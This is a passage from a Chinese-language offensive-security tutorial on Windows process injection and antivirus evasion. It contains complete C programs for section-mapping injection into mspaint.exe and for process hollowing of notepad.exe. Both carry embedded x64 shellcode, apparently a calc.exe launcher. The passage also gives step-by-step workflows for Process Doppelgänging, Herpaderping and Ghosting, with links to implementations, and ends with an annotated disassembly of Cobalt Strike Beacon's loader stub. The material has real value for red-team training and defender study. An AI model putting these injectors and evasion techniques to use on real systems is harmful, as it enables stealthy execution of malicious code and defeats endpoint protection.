    _In_ ULONG AllocationType,
    _In_ ULONG Win32Protect
    );
```

RtlCreateUserThread 用于创建远程进程的线程，也是 NTAPI：

```c
RtlCreateUserThread(
  IN HANDLE               ProcessHandle,
  IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
  IN BOOLEAN              CreateSuspended,
  IN ULONG                StackZeroBits,
  IN OUT PULONG           StackReserved,
  IN OUT PULONG           StackCommit,
  IN PVOID                StartAddress,
  IN PVOID                StartParameter OPTIONAL,
  OUT PHANDLE             ThreadHandle,
  OUT PCLIENT_ID          ClientID 
  );
```

了解这些概念之后，我们来了解一下该注入方式的步骤：

1. 通过 **NtCreateSection** 创建 **RWX** 权限的节
2. 通过 **NtMapViewOfSection** 映射节至本地进程，赋予 **RW** 权限
3. 通过 **NtMapViewOfSection** 映射节至目标进程，赋予 **RX** 权限
4. 通过 memcpy 或类似函数将 shellcode 填入节，这样目标进程映射的视图里也是盛放着 shellcode
5. 使用 **RtlCreateUserThread** 为远程进程创建线程，指向映射的视图触发 shellcode 执行

```c
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
using NtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using NtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using RtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main() {
    NtCreateSection pNtCreateSection = (NtCreateSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection");
    NtMapViewOfSection pNtMapViewOfSection = (NtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection");
    RtlCreateUserThread pRtlCreateUserThread = (RtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");

    if (!pNtCreateSection || !pNtMapViewOfSection || !pRtlCreateUserThread) {
        printf("Failed to retrieve function addresses.\n");
        return 1;
    }

    SIZE_T size = 4096;
    LARGE_INTEGER sectionSize = { size };
    HANDLE sectionHandle = NULL;
    PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("CreateToolhelp32Snapshot failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    if (Process32First(snapshot, &processEntry)) {
        do {
            if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
                processFound = TRUE;
                break;
            }
        } while (Process32Next(snapshot, &processEntry));
    }

    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }

    NTSTATUS status;
    status = pNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
    if (status != 0) {
        printf("NtCreateSection failed. Status: 0x%x\n", status);
        return 1;
    }

    status = pNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_READWRITE);
    if (status != 0) {
        printf("NtMapViewOfSection (local) failed. Status: 0x%x\n", status);
        return 1;
    }

    HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (targetHandle == NULL) {
        printf("OpenProcess failed. Error: %lu\n", GetLastError());
        return 1;
    }

    status = pNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_EXECUTE_READ);
    if (status != 0) {
        printf("NtMapViewOfSection (remote) failed. Status: 0x%x\n", status);
        return 1;
    }

    memcpy(localSectionAddress, shellcode, sizeof(shellcode));
    HANDLE targetThreadHandle = NULL;
    status = pRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
    if (status != 0) {
        printf("RtlCreateUserThread failed. Status: 0x%x\n", status);
    }
    else {
        printf("Shellcode injected successfully.\n");
    }

    return 0;
}
```

运行结果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/4nkObi0DORS4FKWz-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/4nkObi0DORS4FKWz-image.png)

#### **进程空洞**

进程空洞(Process Hollowing)，也是一种代码注入技术。巧妙的是，我们不需要额外分配存放 shellcode 的内存空间，而是覆盖进程主模块的代码区域。我们之前学过 PE 结构，我们知道可执行代码存在于 **.text** 节，程序的入口，通常是 **main** 函数，即首先被执行。倘若我们用 shellcode 覆盖程序入口开始的代码，那么便可披着良性进程的外衣，实际却在执行 shellcode。

这项技术的步骤如下：

1. 调用 CreateProcessA 以挂起状态创建一个新的进程
2. 通过 **NtQueryInformationProcess** 查询进程相关信息，例如 PEB 地址。
3. 通过 **ReadProcessMemory** 读取解析 PE 的所需数据，利用解析 PE 结构的方法，最终获得主模块入口地址
4. 使用 WriteProcessMemory 将 shellcode 写入程序入口处
5. 调用 ResumeThread 继续线程的执行

NtQueryInformationProcess 也是个 NTAPI，其函数定义如下：

```c
__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
```

ReadProcessMemory 用于读取给定范围内的内存：

```c
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
```

需要注意的是，尽管我们没有分配 **RWX** 权限的空间，但是 WriteProcessMemory 会临时地将 .text 节的 RX 权限更改为 **RWX** 权限，依旧可能被检测到。

代码如下：

```c
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    STARTUPINFOA si = { 0 };
    si.cb = sizeof(STARTUPINFOA);
    PROCESS_INFORMATION pi = { 0 };
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    ULONG returnLength = 0;

    if (!CreateProcessA(NULL, (LPSTR)"C:\\windows\\system32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcessA failed. Error: %lu\n", GetLastError());
        return 1; 
    }

    NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
    if (status != 0) {
        printf("NtQueryInformationProcess failed. Status: 0x%x\n", status);
        return 1;
    }

    printf("PEB Address: %p\n", pbi.PebBaseAddress);
    PVOID imageBaseAddress;
    SIZE_T bytesRead;
    if (!ReadProcessMemory(pi.hProcess, (PBYTE)pbi.PebBaseAddress + sizeof(PVOID) * 2, &imageBaseAddress, sizeof(PVOID), &bytesRead)) {
        printf("ReadProcessMemory (image base address) failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Image Base Address: %p\n", imageBaseAddress);

    BYTE headersBuffer[4096];
    if (!ReadProcessMemory(pi.hProcess, imageBaseAddress, headersBuffer, sizeof(headersBuffer), NULL)) {
        printf("ReadProcessMemory (headers) failed. Error: %lu\n", GetLastError());
        return 1;
    }

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dosHeader + dosHeader->e_lfanew);
    DWORD entryPointRVA = ntHeaders->OptionalHeader.AddressOfEntryPoint;
    PVOID entryPointVA = (PBYTE)imageBaseAddress + entryPointRVA;
    printf("Entry Point Address: %p\n", entryPointVA);

    if (!WriteProcessMemory(pi.hProcess, entryPointVA, shellcode, sizeof(shellcode), NULL)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }

    if (ResumeThread(pi.hThread) == (DWORD)-1) {
        printf("ResumeThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injected successfully.\n");
    return 0;
}
```

这样，我们就得以在良性进程下运行 shellcode 了：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/IltHGSywXasEUmPu-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/IltHGSywXasEUmPu-image.png)

### **进程操纵**

在 Windows 上，每个进程都与一个磁盘上的可执行文件关联，例如 svchost.exe，因为 Windows 从可执行文件启动进程，这些可执行文件通常是 EXE 格式的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/lkN4nXOSd19YfP52-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/lkN4nXOSd19YfP52-image.png)

不过，进程与可执行文件并不能等效。为了启动一个新的进程，会有一系列步骤发生。在现代 Windows 上，通常在内核中通过 NtCreateUserProcess 执行，不过 NtCreateProcessEx 依旧有保留，为了向后兼容性。步骤如下：

1. 打开可执行文件的句柄并且执行。例如 **HANDLE file = CreateFileA(L"C:\\\\Windows\\\\System32\\\\svchost.exe")**
2. 为文件创建**映像节**(image section)。一个节映射一个文件或者其部分至内存中。映像节是一种特殊类型的节，对应与 PE 文件，且只能从 PE 文件创建。例如 **hSection = NtCreateSection(file, SEC\_IMAGE)**
3. 使用映像节创建进程，例如 **hProcess = NtCreateProcessEx(hSection)**
4. 为进程配置参数以及环境变量，例如 **CreateEnvironmentBlock** 或 **NtWriteVirtualMemory**
5. 创建一个线程在进程中执行，如 **NtCreateThreadEx**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/EN2s0McWcYeyhGff-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/EN2s0McWcYeyhGff-image.png)

下图是 Process Monitor 中的视角：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/uxnQZ2X9DDXa0AKq-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/uxnQZ2X9DDXa0AKq-image.png)

进程是从可执行文件启动的，但可执行文件中的一些数据在映射到进程时会被修改。为了考虑这些更改，Windows 内存管理器在创建映像节时对其进行缓存，这意味着映像节会与其可执行文件不同。

#### **多重化进程**

多重化进程，即 **Process Doppelgänging**。该技术围绕着 Windows 事务性 NTFS，即 TxF。这是在 Vista 中引入的一种机制，它将文件系统操作封装在单个**原子事务**的上下文中。这种类似方法，在数据库管理中常被运用，确保了多个操作的数据完整性和一致性。通过 TxF，应用程序可以将一系列文件系统更改（例如创建、移动、删除文件或目录）作为统一的事务执行，该事务**要么完全提交**，**要么完全回滚**，不留下任何部分更改来影响系统的稳定性。

TxF 通过允许任何给定时间内**只有一个事务句柄**对文件进行写操作来维护数据完整性。在**写事务**期间，所有其他句柄都与写入者隔离。他们只能访问当他们的句柄被打开时已经**提交**的文件版本，从而防止数据破坏并确保文件数据的一致视图。如果事务被回滚，事务期间所做的更改对底层文件系统不可见，有效地使事务内的操作在提交之前不可见。

此外，如果在写操作期间发生系统或应用程序错误，TxF 设计为自动回滚事务，进一步保护文件系统免受破坏。这一特性对于在操作意外中断的情境下维护系统稳定性和数据完整性至关重要。

为了促进事务文件操作，Windows 提供了一套 API，包括但不限于：

- `CreateTransaction`：启动一个新事务。
- `CommitTransaction`：提交事务内所做的更改，使其永久化。
- `RollbackTransaction`：回滚事务内所做的更改，将文件系统恢复到以前的状态。
- `CreateFileTransacted`、`MoveFileTransacted`、`DeleteFileTransacted`：在事务的上下文中执行文件操作。
- `CreateDirectoryTransacted`、`RemoveDirectoryTransacted`：在事务中管理目录。

我们在代码里可能会用到的 API 定义如下：

```c
HANDLE CreateTransaction(
  [in, optional] LPSECURITY_ATTRIBUTES lpTransactionAttributes,
  [in, optional] LPGUID                UOW,
  [in, optional] DWORD                 CreateOptions,
  [in, optional] DWORD                 IsolationLevel,
  [in, optional] DWORD                 IsolationFlags,
  [in, optional] DWORD                 Timeout,
  [in, optional] LPWSTR                Description
);

HANDLE CreateFileTransactedA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile,
  [in]           HANDLE                hTransaction,
  [in, optional] PUSHORT               pusMiniVersion,
                 PVOID                 lpExtendedParameter
);

BOOL RollbackTransaction(
  [in] HANDLE TransactionHandle
);
```

尽管被弃用了，但 TxF API 依旧在如今操作系统上可用。

<span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Roboto, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400;">多重化</span>进程利用 TxF 的能力，在另一个活动进程的地址空间内执行任意代码，执行一种不留下文件痕迹的进程注入变体。这种方法允许用恶意代码替换合法进程的内存，从而实现其执行，同时可能规避检测和防御机制。与进程空洞不同，后者在进程创建后修改进程的内存，多重化<span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Roboto, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400;">进程</span>通过在 TxF 提供的事务性上下文中覆写 PE 内容，先于进程创建。这确保了 Windows Loader 被误导为加载恶意内容，就好像它是合法的一样，无需使用如 NtUnmapViewOfSection、VirtualProtectEx 和 SetThreadContext 这些被密切监视的 API 函数，而是使用更鲜为人知的 TxF 相关的 API。

进程多重化的核心涉及在 TxF 事务内创建一个文件。只要事务未提交，这个文件对其他进程和操作系统保持不可见。通过操纵事务的时机——特别是，在适当的时刻回滚它——攻击者可以执行恶意负载，同时使其看起来好像涉及的文件甚至从未被创建。这种隐秘的方法利用了 NTFS 的事务性质，绕过传统的基于文件的扫描和检测方法，允许恶意行为者以降低被发现的风险发起攻击。

实现多重化进程的代码需要如下步骤：

1. 调用 **CreateTransaction** 创建一个新的事务
2. 在事务内，用 **CreateFileTransacted** 创建一个 dummy 文件储存载荷
3. 调用 **NtCreateSection** 创建节
4. 调用 **RollbackTranscation** 回滚事务
5. 调用 **NtCreateProcessEx** 根据**节**来创建进程
6. 创建一个新的线程在入口处执行

代码可以参考 [https://github.com/hasherezade/process\_doppelganging/blob/master/main.cpp](https://github.com/hasherezade/process_doppelganging/blob/master/main.cpp)

#### **赫帕德平进程**

赫帕德平进程，即 **Process Herpaderping**，是一种通过在映射映像后修改磁盘上的内容来遮掩进程意图的方法。我们之前说了，通常安全产品通过在 Windows 内核中注册回调 PsSetCreateProcessNotifyRoutineEx 来对进程创建采取行动。此时，安全产品可以检查用于映射可执行文件的文件，并决定是否允许该进程执行。这个内核回调是在初始线程插入时调用的，而不是在创建进程对象时调用。

因此，攻击者可以创建并映射一个进程，修改文件的内容，然后创建初始线程。在创建回调时进行检查的产品会看到被修改的内容。此外，一些产品使用写入时扫描的方法，该方法包括监控文件写入操作。这里的一个常见优化是记录文件已被写入，并将实际检查推迟到 **IRP\_MJ\_CLEANUP** 发生时(例如，文件句柄关闭)。因此，一个使用**写入-&gt;映射-&gt;修改-&gt;执行-&gt;关闭**流程的攻击者将能够绕过仅依赖于在 IRP\_MJ\_CLEANUP 时检查的**写入时扫描**。

为了利用这一机制，我们首先将二进制文件写入磁盘上的目标文件。然后，我们映射目标文件的镜像，并提供给操作系统用于进程创建。操作系统会为我们映射原始二进制文件。使用现有的文件句柄，并在创建初始线程之前，我们修改目标文件内容以遮蔽或伪造映像对应的文件。一段时间后，我们创建初始线程以开始执行原始二进制文件。最后，我们将关闭目标文件句柄。

我们逐步分析步骤：

1. 将目标二进制文件写入磁盘，保持句柄打开，这是将在内存中执行的内容
2. 调用 **NtCreateSection** 函数将文件映射为映像节
3. 调用 **NtCreateProcessEx** 函数使用节句柄创建进程对象
4. 使用相同的目标文件句柄，遮蔽磁盘上的文件
5. 调用 **NtCreateThreadEx** 函数在进程中创建初始线程。此时，内核中的进程创建回调将被触发，磁盘上的内容与映射的内容不匹配。此时对文件的检查将导致错误归因。
6. 关闭句柄。IRP\_MJ\_CLEANUP 将在这里发生。由于我们隐藏了正在执行的内容，此时的检查将导致错误归因。

```
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);
```

代码可以参考 [https://github.com/Nikj-Fr/Process-Herpaderping/blob/main/Herpaderping/Herpaderping/Herpaderping.cpp](https://github.com/Nikj-Fr/Process-Herpaderping/blob/main/Herpaderping/Herpaderping/Herpaderping.cpp)

#### **幽灵进程**

幽灵进程，即 **Process Ghosting**。微软为安全厂商提供了注册回调的能力，这些回调将在系统上**创建进程和线程**时被调用。驱动开发者可以调用如 **PsSetCreateProcessNotifyRoutineEx** 和 **PsSetCreateThreadNotifyRoutineEx** 等 API 来接收这类事件。尽管名称如此，PsSetCreateProcessNotifyRoutineEx 回调实际上并不是在进程创建时调用，而是在这些进程内的第一个线程创建时调用。这在进程创建和安全产品被通知其创建之间创建了一个间隙，还为恶意软件作者提供了一个窗口，在安全产品扫描它们之前篡改支持文件和节。

未公开的进程创建 API NtCreateProcess 使用的是**节句柄**，而不是文件句柄：

```c
NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateProcess(
    _Out_ PHANDLE ProcessHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_ HANDLE ParentProcess,
    _In_ BOOLEAN InheritObjectTable,
    _In_opt_ HANDLE SectionHandle,
    _In_opt_ HANDLE DebugPort,
    _In_opt_ HANDLE ExceptionPort
    );
```

当启动进程时，安全产品将获得有关正在启动的进程的以下信息：

```c
typedef struct _PS_CREATE_NOTIFY_INFO {
  SIZE_T              Size;
  union {
    ULONG Flags;
    struct {
      ULONG FileOpenNameAvailable : 1;
      ULONG IsSubsystemProcess : 1;
      ULONG Reserved : 30;
    };
  };
  HANDLE              ParentProcessId;
  CLIENT_ID           CreatingThreadId;
  struct _FILE_OBJECT *FileObject;
  PCUNICODE_STRING    ImageFileName;
  PCUNICODE_STRING    CommandLine;
  NTSTATUS            CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
```

值得关注的是 **FILE\_OBJECT**，这是内核对象，对应于传递给 NtCreateSection 的 HANDLE。这个 FILE\_OBJECT 通常对应于磁盘上的一个文件，可以对其进行恶意软件扫描。

安全产品还可以使用**文件系统微过滤器**(minifilter) 回调，这些回调在文件被**创建**、**交互**或**关闭**时接收通知。扫描每一次读写操作的系统影响可能相当大，因此出于性能考虑，文件通常在打开和关闭时被扫描。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/xkEuZAtn9cNVk5W8-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/xkEuZAtn9cNVk5W8-image.png)

我们可以在多重化进程和赫帕德平进程的基础上进一步操作，以运行已被删除的可执行文件。在 Windows 上删除文件有几种方式，包括：

1. 使用 **FILE\_SUPERSEDE** 或 **CREATE\_ALWAYS** 标志创建一个新文件来覆盖旧文件
2. 创建或打开文件时设置 **FILE\_DELETE\_ON\_CLOSE** 或 **FILE\_FLAG\_DELETE\_ON\_CLOSE** 标志。
3. 通过调用 **NtSetInformationFile** 并通过 **FileDispositionInformation** 文件信息类设置 **FILE\_DISPOSITION\_INFORMATION** 结构中的 **DeleteFile** 字段为 **TRUE**。

```c
__kernel_entry NTSYSCALLAPI NTSTATUS NtSetInformationFile(
  [in]  HANDLE                 FileHandle,
  [out] PIO_STATUS_BLOCK       IoStatusBlock,
  [in]  PVOID                  FileInformation,
  [in]  ULONG                  Length,
  [in]  FILE_INFORMATION_CLASS FileInformationClass
);
```

Windows 防止映射的可执行文件被修改，一旦文件被映射到一个镜像节中，尝试用 **FILE\_WRITE\_DATA** 打开它将因 **ERROR\_SHARING\_VIOLATION** 错误而失败。通过 **FILE\_DELETE\_ON\_CLOSE**/**FILE\_FLAG\_DELETE\_ON\_CLOSE** 尝试删除会因 **ERROR\_SHARING\_VIOLATION** 错误而失败。**NtSetInformationFile** 需要 **DELETE** 访问权限。即使映射到镜像段的文件被授予了 DELETE 访问权限，NtSetInformationFile(FileDispositionInformation) 也会因 **STATUS\_CANNOT\_DELETE** 错误而失败。通过 **FILE\_SUPERCEDE/CREATE\_ALWAYS** 尝试删除会因 **ACCESS\_DENIED** 而失败。

然而，这种删除限制只在**可执行文件被映射到镜像节后**才生效。这意味着可以创建一个文件，标记它为**删除状态**，将它映射到一个镜像段，关闭文件句柄以完成删除，然后从**无文件的节**创建进程，这便是进程幽灵。

攻击流步骤如下：

1. 创建一个文件
2. 使用 **NtSetInformationFile** 将文件置于**删除挂起**状态。
3. 向文件写入负载可执行文件。由于文件已处于删除挂起状态，内容不会被保留。删除挂起状态也阻止了外部文件打开该文件的尝试
4. 为文件创建一个镜像节
5. 关闭删除挂起的句柄，删除文件
6. 使用镜像节创建一个进程
7. 分配进程参数和环境变量
8. 创建一个线程在进程中执行

在线程创建时调用的回调，发生在文件被删除之后。尝试打开文件或对已删除的文件进行 I/O 操作将因 STATUS\_FILE\_DELETED 错误而失败，在删除完成前尝试打开文件将因 **STATUS\_DELETE\_PENDING** 错误而失败。这种篡改手段也可以应用于 DLL，因为 DLL 也是映射的镜像节。

幽灵进程的实现效果如下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/WDVvsz2LXIbaCGWh-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/WDVvsz2LXIbaCGWh-image.png)

因为该技术与代码更加复杂，可以参考以下 3 个项目对其的实现：

[https://github.com/hasherezade/process\_ghosting](https://github.com/hasherezade/process_ghosting)

[https://github.com/Wra7h/SharpGhosting/tree/main](https://github.com/Wra7h/SharpGhosting/tree/main)

[https://github.com/dosxuz/ProcessGhosting](https://github.com/dosxuz/ProcessGhosting)

***不幸的是，微软对该技术发布了补丁，因此对于 Windows 11 以及较新版本的 Windows 10 不再生效。***

#### **总结**

总结一下，这 3 项对进程进行模仿与操纵的技术有着相似的想法，也有着不同的工作流，如下所示：

<table id="bkmrk-%E7%B1%BB%E5%9E%8B-%E6%8A%80%E6%9C%AF-%E5%A4%9A%E9%87%8D%E8%BF%9B%E7%A8%8B-%E4%BA%8B%E5%8A%A1--%3E-%E5%86%99--" style="width: 103.951%;"><tbody><tr><td style="width: 23.6069%;">**类型**

</td><td style="width: 76.3684%;">**技术**

</td></tr><tr><td style="width: 23.6069%;">多重进程

</td><td style="width: 76.3684%;">事务 -&gt; 写 -&gt; 映射 -&gt; 回滚 -&gt; 执行

</td></tr><tr><td style="width: 23.6069%;">赫帕德平进程

</td><td style="width: 76.3684%;">写 -&gt; 映射 -&gt; 修改 -&gt; 执行 -&gt; 关闭

</td></tr><tr><td style="width: 23.6069%;">幽灵进程

</td><td style="width: 76.3684%;">删除挂起中 -&gt; 写 -&gt; 映射 -&gt; 关闭(删除) -&gt; 执行

</td></tr></tbody></table>

# 反射式加载与膨胀式加载

CobaltStrike 的 Beacon，实际上是一个 DLL。Shellcode 形式的 Beacon，是补丁后的 DLL 文件。通过巧妙的补丁，Beacon 可以实现像 Shellcode 一般的位置独立。我们分别生成 DLL 与 RAW 格式的载荷，进行对比：

DLL 格式的 Beacon，符合典型的 PE 文件格式。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/a2wI8pmrQPURijfB-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/a2wI8pmrQPURijfB-image.png)

对于 Shellcode 格式的 Beacon，我们发现其实际上是个补丁后的 DLL 文件，因为其格式符合 PE 格式标准

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/Ocd5Aoi9ggmdjlq7-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/Ocd5Aoi9ggmdjlq7-image.png)

我们甚至能解析出导出函数 ReflectiveLoader。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/19O8CF04fgR58Ob8-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/19O8CF04fgR58Ob8-image.png)

那么，补丁了哪些地方呢？我们仔细对比一下这 2 个文件的 DOS 头，我们会发现 Shellcode 格式的 Beacon(右边) 虽然大体上符合 PE 格式标准，但 DOS 头是补丁过的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/M5Dwyxi3ZvvW56GJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/M5Dwyxi3ZvvW56GJ-image.png)

对于 PE 文件，因为 DOS 头并非代码区，所以并不该被解析成机器码执行。因此 DLL 文件的 DOS 头如果被强行解释成汇编指令，代码看起来没有什么实际意义。而右图的 DOS 头被补丁成了精心设计的代码，我们来解读一下：

```
4D 5A					pop r10				# PE Magic Bytes，同时与下面的指令共同平衡栈	
41 52					push r10			# 平衡栈 						
55 						push rbp			# 设置栈帧
48 89 E5 				mov rbp, rsp		
48 81 EC 20 00 00 00 	sub rsp,0x20		
48 8D 1D EA FF FF FF 	lea rbx, [rip-0x16]	# 前移0x16字节从而获得Shellcode地址
48 89 DF 				mov rdi,rbx			
48 81 C3 F4 5F 01 00 	add rbx, 0x15ff4	# 通过硬编码偏移调用ReflectiveLoader导出函数
FF D3 					call rbx
41 B8 F0 B5 A2 56 		mov r8d,0x56a2b5f0	# 调用 DllMain函数
68 04 00 00 00 			push 4
5A 						pop rdx
